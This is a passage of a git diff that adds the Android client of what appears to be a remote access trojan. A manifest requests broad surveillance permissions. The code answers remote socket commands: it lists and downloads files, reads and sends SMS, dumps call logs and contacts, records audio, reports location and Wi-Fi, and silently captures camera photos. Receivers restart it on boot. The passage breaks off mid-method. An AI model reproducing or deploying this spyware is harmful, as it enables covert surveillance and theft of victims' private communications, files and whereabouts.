<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
|
||||||
|
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
|
||||||
|
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
|
||||||
|
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
|
||||||
|
</configuration>
|
||||||
|
</facet>
|
||||||
|
</component>
|
||||||
|
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7">
|
||||||
|
<output url="file://$MODULE_DIR$/build/intermediates/javac/debug/compileDebugJavaWithJavac/classes" />
|
||||||
|
<output-test url="file://$MODULE_DIR$/build/intermediates/javac/debugUnitTest/compileDebugUnitTestJavaWithJavac/classes" />
|
||||||
|
<exclude-output />
|
||||||
|
<content url="file://$MODULE_DIR$">
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/debug" isTestSource="false" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/aidl_source_output_dir/debug/compileDebugAidl/out" isTestSource="false" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/buildConfig/debug" isTestSource="false" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/renderscript_source_output_dir/debug/compileDebugRenderscript/out" isTestSource="false" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/rs/debug" type="java-resource" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/resValues/debug" type="java-resource" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/androidTest/debug" isTestSource="true" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/aidl_source_output_dir/debugAndroidTest/compileDebugAndroidTestAidl/out" isTestSource="true" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/buildConfig/androidTest/debug" isTestSource="true" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/renderscript_source_output_dir/debugAndroidTest/compileDebugAndroidTestRenderscript/out" isTestSource="true" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/rs/androidTest/debug" type="java-test-resource" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/resValues/androidTest/debug" type="java-test-resource" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/test/debug" isTestSource="true" generated="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/res" type="java-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/resources" type="java-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/assets" type="java-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/aidl" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/java" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/rs" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/debug/shaders" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/res" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/resources" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/assets" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/aidl" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/java" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/rs" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/shaders" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/res" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/resources" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/assets" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/aidl" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/java" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/rs" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/shaders" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/res" type="java-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/assets" type="java-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/aidl" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/rs" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/main/shaders" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/res" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/resources" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/assets" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/aidl" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/java" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/rs" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/shaders" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/res" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/resources" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/assets" type="java-test-resource" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/aidl" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/rs" isTestSource="true" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/src/test/shaders" isTestSource="true" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/build" />
|
||||||
|
</content>
|
||||||
|
<orderEntry type="jdk" jdkName="Android API 24 Platform" jdkType="Android SDK" />
|
||||||
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
<orderEntry type="library" name="Gradle: io.socket:socket.io-client:0.8.3@jar" level="project" />
|
||||||
|
<orderEntry type="library" name="Gradle: io.socket:engine.io-client:0.8.3@jar" level="project" />
|
||||||
|
<orderEntry type="library" name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar" level="project" />
|
||||||
|
<orderEntry type="library" name="Gradle: com.squareup.okio:okio:1.11.0@jar" level="project" />
|
||||||
|
</component>
|
||||||
|
</module>
|
30
client/app/build.gradle
Normal file
30
client/app/build.gradle
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
apply plugin: 'com.android.application'
|
||||||
|
|
||||||
|
android {
|
||||||
|
lintOptions {
|
||||||
|
checkReleaseBuilds false
|
||||||
|
}
|
||||||
|
compileSdkVersion 24
|
||||||
|
buildToolsVersion '28.0.3'
|
||||||
|
defaultConfig {
|
||||||
|
applicationId 'com.remote.app'
|
||||||
|
minSdkVersion 11
|
||||||
|
targetSdkVersion 24
|
||||||
|
versionCode 1
|
||||||
|
versionName "1.0"
|
||||||
|
}
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
minifyEnabled true
|
||||||
|
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation fileTree(dir: 'libs', include: ['*.jar'])
|
||||||
|
implementation ('io.socket:socket.io-client:0.8.3') {
|
||||||
|
// excluding org.json which is provided by Android
|
||||||
|
exclude group: 'org.json', module: 'json'
|
||||||
|
}
|
||||||
|
}
|
17
client/app/proguard-rules.pro
vendored
Normal file
17
client/app/proguard-rules.pro
vendored
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
# Add project specific ProGuard rules here.
|
||||||
|
# By default, the flags in this file are appended to flags specified
|
||||||
|
# in /home/king/Android/Sdk/tools/proguard/proguard-android.txt
|
||||||
|
# You can edit the include path and order by changing the proguardFiles
|
||||||
|
# directive in build.gradle.
|
||||||
|
#
|
||||||
|
# For more details, see
|
||||||
|
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||||
|
|
||||||
|
# Add any project specific keep options here:
|
||||||
|
|
||||||
|
# If your project uses WebView with JS, uncomment the following
|
||||||
|
# and specify the fully qualified class name to the JavaScript interface
|
||||||
|
# class:
|
||||||
|
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||||
|
# public *;
|
||||||
|
#}
|
BIN
client/app/release/app-release.apk
Normal file
BIN
client/app/release/app-release.apk
Normal file
Binary file not shown.
1
client/app/release/output.json
Normal file
1
client/app/release/output.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
[{"outputType":{"type":"APK"},"apkData":{"type":"MAIN","splits":[],"versionCode":1,"versionName":"1.0","enabled":true,"outputFile":"app-release.apk","fullName":"release","baseName":"release"},"path":"app-release.apk","properties":{}}]
|
80
client/app/src/main/AndroidManifest.xml
Normal file
80
client/app/src/main/AndroidManifest.xml
Normal file
@ -0,0 +1,80 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
package="com.remote.app">
|
||||||
|
|
||||||
|
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||||
|
<uses-permission android:name="android.permission.CAMERA" />
|
||||||
|
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
|
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
|
||||||
|
<!--<uses-feature android:name="android.hardware.camera" />-->
|
||||||
|
<!--<uses-feature android:name="android.hardware.camera.autofocus" />-->
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
||||||
|
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
|
||||||
|
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
|
||||||
|
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:allowBackup="true"
|
||||||
|
android:hardwareAccelerated="false"
|
||||||
|
android:largeHeap="true"
|
||||||
|
android:icon="@mipmap/ic_launcher"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/AppTheme">
|
||||||
|
<activity android:name=".MainActivity" android:launchMode="singleInstance">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
<service
|
||||||
|
android:name=".MainService"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="false"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<receiver
|
||||||
|
android:name=".ServiceReciever"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="true"
|
||||||
|
android:label="RestartServiceWhenStopped">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="respawnService" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<receiver
|
||||||
|
android:name=".MyReceiver"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter >
|
||||||
|
<action android:name="android.provider.Telephony.SECRET_CODE" />
|
||||||
|
<data android:scheme="android_secret_code" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<service android:name=".NotificationListener"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.service.notification.NotificationListenerService" />
|
||||||
|
</intent-filter>
|
||||||
|
</service>
|
||||||
|
|
||||||
|
</application>
|
||||||
|
|
||||||
|
</manifest>
|
32
client/app/src/main/java/com/remote/app/AppInstaller.java
Normal file
32
client/app/src/main/java/com/remote/app/AppInstaller.java
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
public class AppInstaller {
|
||||||
|
// public void install_apk(File file) {
|
||||||
|
// try {
|
||||||
|
// if (file.exists()) {
|
||||||
|
// String[] fileNameArray = file.getName().split(Pattern.quote("."));
|
||||||
|
// if (fileNameArray[fileNameArray.length - 1].equals("apk")) {
|
||||||
|
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
|
||||||
|
// Uri downloaded_apk = getFileUri(context, file);
|
||||||
|
// Intent intent = new Intent(Intent.ACTION_VIEW).setDataAndType(downloaded_apk,
|
||||||
|
// "application/vnd.android.package-archive");
|
||||||
|
// intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||||
|
// context.startActivity(intent);
|
||||||
|
// } else {
|
||||||
|
// Intent intent = new Intent(Intent.ACTION_VIEW);
|
||||||
|
// intent.setDataAndType(Uri.fromFile(file),
|
||||||
|
// "application/vnd.android.package-archive");
|
||||||
|
// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
||||||
|
// context.startActivity(intent);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// } catch (Exception e) {
|
||||||
|
// e.printStackTrace();
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// Uri getFileUri(Context context, File file) {
|
||||||
|
// return FileProvider.getUriForFile(context, context.getApplicationContext().getPackageName() + ".HelperClasses.GenericFileProvider", file);
|
||||||
|
// }
|
||||||
|
}
|
48
client/app/src/main/java/com/remote/app/AppList.java
Normal file
48
client/app/src/main/java/com/remote/app/AppList.java
Normal file
@ -0,0 +1,48 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.pm.PackageInfo;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.remote.app.ConnectionManager.context;
|
||||||
|
|
||||||
|
public class AppList {
|
||||||
|
|
||||||
|
public static JSONObject getInstalledApps(boolean getSysPackages) {
|
||||||
|
|
||||||
|
JSONArray apps = new JSONArray();
|
||||||
|
|
||||||
|
List<PackageInfo> packs = context.getPackageManager().getInstalledPackages(0);
|
||||||
|
|
||||||
|
for(int i=0;i < packs.size();i++) {
|
||||||
|
PackageInfo p = packs.get(i);
|
||||||
|
if ((!getSysPackages) && (p.versionName == null)) {
|
||||||
|
continue ;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
JSONObject newInfo = new JSONObject();
|
||||||
|
String appname = p.applicationInfo.loadLabel(context.getPackageManager()).toString();
|
||||||
|
String pname = p.packageName;
|
||||||
|
String versionName = p.versionName;
|
||||||
|
int versionCode = p.versionCode;
|
||||||
|
|
||||||
|
newInfo.put("appName",appname);
|
||||||
|
newInfo.put("packageName",pname);
|
||||||
|
newInfo.put("versionName",versionName);
|
||||||
|
newInfo.put("versionCode",versionCode);
|
||||||
|
apps.put(newInfo);
|
||||||
|
}catch (JSONException e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
JSONObject data = new JSONObject();
|
||||||
|
try {
|
||||||
|
data.put("apps", apps);
|
||||||
|
}catch (JSONException e) {}
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
}
|
49
client/app/src/main/java/com/remote/app/CallsManager.java
Normal file
49
client/app/src/main/java/com/remote/app/CallsManager.java
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.database.Cursor;
|
||||||
|
import android.net.Uri;
|
||||||
|
import android.provider.CallLog;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
public class CallsManager {
|
||||||
|
|
||||||
|
public static JSONObject getCallsLogs(){
|
||||||
|
|
||||||
|
try {
|
||||||
|
JSONObject Calls = new JSONObject();
|
||||||
|
JSONArray list = new JSONArray();
|
||||||
|
|
||||||
|
Uri allCalls = Uri.parse("content://call_log/calls");
|
||||||
|
Cursor cur = MainService.getContextOfApplication().getContentResolver().query(allCalls, null, null, null, null);
|
||||||
|
|
||||||
|
while (cur.moveToNext()) {
|
||||||
|
JSONObject call = new JSONObject();
|
||||||
|
String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));
|
||||||
|
String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));
|
||||||
|
String duration = cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION));
|
||||||
|
String date = cur.getString(cur.getColumnIndex(CallLog.Calls.DATE));
|
||||||
|
|
||||||
|
int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));
|
||||||
|
|
||||||
|
|
||||||
|
call.put("phoneNo", num);
|
||||||
|
call.put("name", name);
|
||||||
|
call.put("duration", duration);
|
||||||
|
call.put("date", date);
|
||||||
|
call.put("type", type);
|
||||||
|
list.put(call);
|
||||||
|
|
||||||
|
}
|
||||||
|
Calls.put("callsList", list);
|
||||||
|
return Calls;
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
127
client/app/src/main/java/com/remote/app/CameraManager.java
Normal file
127
client/app/src/main/java/com/remote/app/CameraManager.java
Normal file
@ -0,0 +1,127 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.pm.PackageManager;
|
||||||
|
import android.graphics.Bitmap;
|
||||||
|
import android.graphics.BitmapFactory;
|
||||||
|
import android.graphics.SurfaceTexture;
|
||||||
|
import android.hardware.Camera;
|
||||||
|
import android.hardware.Camera.PictureCallback;
|
||||||
|
import android.hardware.Camera.Parameters;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
|
||||||
|
public class CameraManager {
|
||||||
|
|
||||||
|
private Context context ;
|
||||||
|
private Camera camera;
|
||||||
|
|
||||||
|
|
||||||
|
public CameraManager(Context context) {
|
||||||
|
this.context = context;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void startUp(int cameraID){
|
||||||
|
camera = Camera.open(cameraID);
|
||||||
|
Parameters parameters = camera.getParameters();
|
||||||
|
camera.setParameters(parameters);
|
||||||
|
try{
|
||||||
|
camera.setPreviewTexture(new SurfaceTexture(0));
|
||||||
|
camera.startPreview();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
camera.takePicture(null, null, new PictureCallback() {
|
||||||
|
@Override
|
||||||
|
public void onPictureTaken(byte[] data, Camera camera) {
|
||||||
|
releaseCamera();
|
||||||
|
sendPhoto(data);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private void sendPhoto(byte [] data){
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
|
||||||
|
JSONObject object = new JSONObject();
|
||||||
|
object.put("image",true);
|
||||||
|
object.put("buffer" , bos.toByteArray());
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xCA" , object);
|
||||||
|
|
||||||
|
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void releaseCamera(){
|
||||||
|
if (camera != null) {
|
||||||
|
camera.stopPreview();
|
||||||
|
camera.release();
|
||||||
|
camera = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public JSONObject findCameraList() {
|
||||||
|
|
||||||
|
if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
try {
|
||||||
|
JSONObject cameras = new JSONObject();
|
||||||
|
JSONArray list = new JSONArray();
|
||||||
|
cameras.put("camList",true);
|
||||||
|
|
||||||
|
// Search for available cameras
|
||||||
|
int numberOfCameras = Camera.getNumberOfCameras();
|
||||||
|
for (int i = 0; i < numberOfCameras; i++) {
|
||||||
|
Camera.CameraInfo info = new Camera.CameraInfo();
|
||||||
|
Camera.getCameraInfo(i, info);
|
||||||
|
if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
|
||||||
|
JSONObject jo = new JSONObject();
|
||||||
|
jo.put("name", "Front");
|
||||||
|
jo.put("id", i);
|
||||||
|
list.put(jo);
|
||||||
|
}
|
||||||
|
else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
|
||||||
|
JSONObject jo = new JSONObject();
|
||||||
|
jo.put("name", "Back");
|
||||||
|
jo.put("id", i);
|
||||||
|
list.put(jo);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
JSONObject jo = new JSONObject();
|
||||||
|
jo.put("name", "Other");
|
||||||
|
jo.put("id", i);
|
||||||
|
list.put(jo);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cameras.put("list" , list);
|
||||||
|
return cameras;
|
||||||
|
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
187
client/app/src/main/java/com/remote/app/ConnectionManager.java
Normal file
187
client/app/src/main/java/com/remote/app/ConnectionManager.java
Normal file
@ -0,0 +1,187 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.os.Looper;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import io.socket.emitter.Emitter;
|
||||||
|
|
||||||
|
public class ConnectionManager {
|
||||||
|
|
||||||
|
|
||||||
|
public static Context context;
|
||||||
|
private static io.socket.client.Socket ioSocket;
|
||||||
|
private static FileManager fm = new FileManager();
|
||||||
|
|
||||||
|
public static void startAsync(Context con)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
context = con;
|
||||||
|
sendReq();
|
||||||
|
}catch (Exception ex){
|
||||||
|
startAsync(con);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendReq() {
|
||||||
|
try {
|
||||||
|
if(ioSocket != null )
|
||||||
|
return;
|
||||||
|
ioSocket = IOSocket.getInstance().getIoSocket();
|
||||||
|
ioSocket.on("ping", new Emitter.Listener() {
|
||||||
|
@Override
|
||||||
|
public void call(Object... args) {
|
||||||
|
ioSocket.emit("pong");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ioSocket.on("order", new Emitter.Listener() {
|
||||||
|
@Override
|
||||||
|
public void call(Object... args) {
|
||||||
|
try {
|
||||||
|
JSONObject data = (JSONObject) args[0];
|
||||||
|
String order = data.getString("type");
|
||||||
|
|
||||||
|
|
||||||
|
switch (order){
|
||||||
|
// case "0xCA":
|
||||||
|
// if(data.getString("action").equals("camList"))
|
||||||
|
// CA(-1);
|
||||||
|
// else if (data.getString("action").equals("takePic"))
|
||||||
|
// CA(Integer.parseInt(data.getString("cameraID")));
|
||||||
|
// break;
|
||||||
|
case "0xFI":
|
||||||
|
if (data.getString("action").equals("ls"))
|
||||||
|
FI(0,data.getString("path"));
|
||||||
|
else if (data.getString("action").equals("dl"))
|
||||||
|
FI(1,data.getString("path"));
|
||||||
|
break;
|
||||||
|
case "0xSM":
|
||||||
|
if(data.getString("action").equals("ls"))
|
||||||
|
SM(0,null,null);
|
||||||
|
else if(data.getString("action").equals("sendSMS"))
|
||||||
|
SM(1,data.getString("to") , data.getString("sms"));
|
||||||
|
break;
|
||||||
|
case "0xCL":
|
||||||
|
CL();
|
||||||
|
break;
|
||||||
|
case "0xCO":
|
||||||
|
CO();
|
||||||
|
break;
|
||||||
|
case "0xMI":
|
||||||
|
MI(data.getInt("sec"));
|
||||||
|
break;
|
||||||
|
case "0xLO":
|
||||||
|
LO();
|
||||||
|
break;
|
||||||
|
case "0xWI":
|
||||||
|
WI();
|
||||||
|
break;
|
||||||
|
case "0xPM":
|
||||||
|
PM();
|
||||||
|
break;
|
||||||
|
case "0xIN":
|
||||||
|
IN();
|
||||||
|
break;
|
||||||
|
case "0xGP":
|
||||||
|
GP(data.getString("permission"));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
ioSocket.connect();
|
||||||
|
|
||||||
|
} catch (Exception ex){
|
||||||
|
Log.e("error" , ex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// public static void CA(int cameraID){
|
||||||
|
// if(cameraID == -1) {
|
||||||
|
// JSONObject cameraList = new CameraManager(context).findCameraList();
|
||||||
|
// if(cameraList != null)
|
||||||
|
// ioSocket.emit("0xCA" ,cameraList );
|
||||||
|
// } else {
|
||||||
|
// new CameraManager(context).startUp(cameraID);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
|
||||||
|
public static void FI(int req , String path){
|
||||||
|
if(req == 0) {
|
||||||
|
JSONObject object = new JSONObject();
|
||||||
|
try {
|
||||||
|
object.put("type", "list");
|
||||||
|
object.put("list", fm.walk(path));
|
||||||
|
ioSocket.emit("0xFI", object);
|
||||||
|
} catch (JSONException e){}
|
||||||
|
}else if (req == 1)
|
||||||
|
fm.downloadFile(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void SM(int req,String phoneNo , String msg){
|
||||||
|
if(req == 0)
|
||||||
|
ioSocket.emit("0xSM" , SMSManager.getsms());
|
||||||
|
else if(req == 1) {
|
||||||
|
boolean isSent = SMSManager.sendSMS(phoneNo, msg);
|
||||||
|
ioSocket.emit("0xSM", isSent);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void CL(){
|
||||||
|
ioSocket.emit("0xCL" , CallsManager.getCallsLogs());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void CO(){
|
||||||
|
ioSocket.emit("0xCO" , ContactsManager.getContacts());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void MI(int sec) throws Exception{
|
||||||
|
MicManager.startRecording(sec);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void WI() {
|
||||||
|
ioSocket.emit("0xWI" , WifiScanner.scan(context));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void PM() {
|
||||||
|
ioSocket.emit("0xPM" , PermissionManager.getGrantedPermissions());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void IN() {
|
||||||
|
ioSocket.emit("0xIN" , AppList.getInstalledApps(false));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void GP(String perm) {
|
||||||
|
JSONObject data = new JSONObject();
|
||||||
|
try {
|
||||||
|
data.put("permission", perm);
|
||||||
|
data.put("isAllowed", PermissionManager.canIUse(perm));
|
||||||
|
ioSocket.emit("0xGP", data);
|
||||||
|
} catch (JSONException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void LO() throws Exception{
|
||||||
|
Looper.prepare();
|
||||||
|
LocManager gps = new LocManager(context);
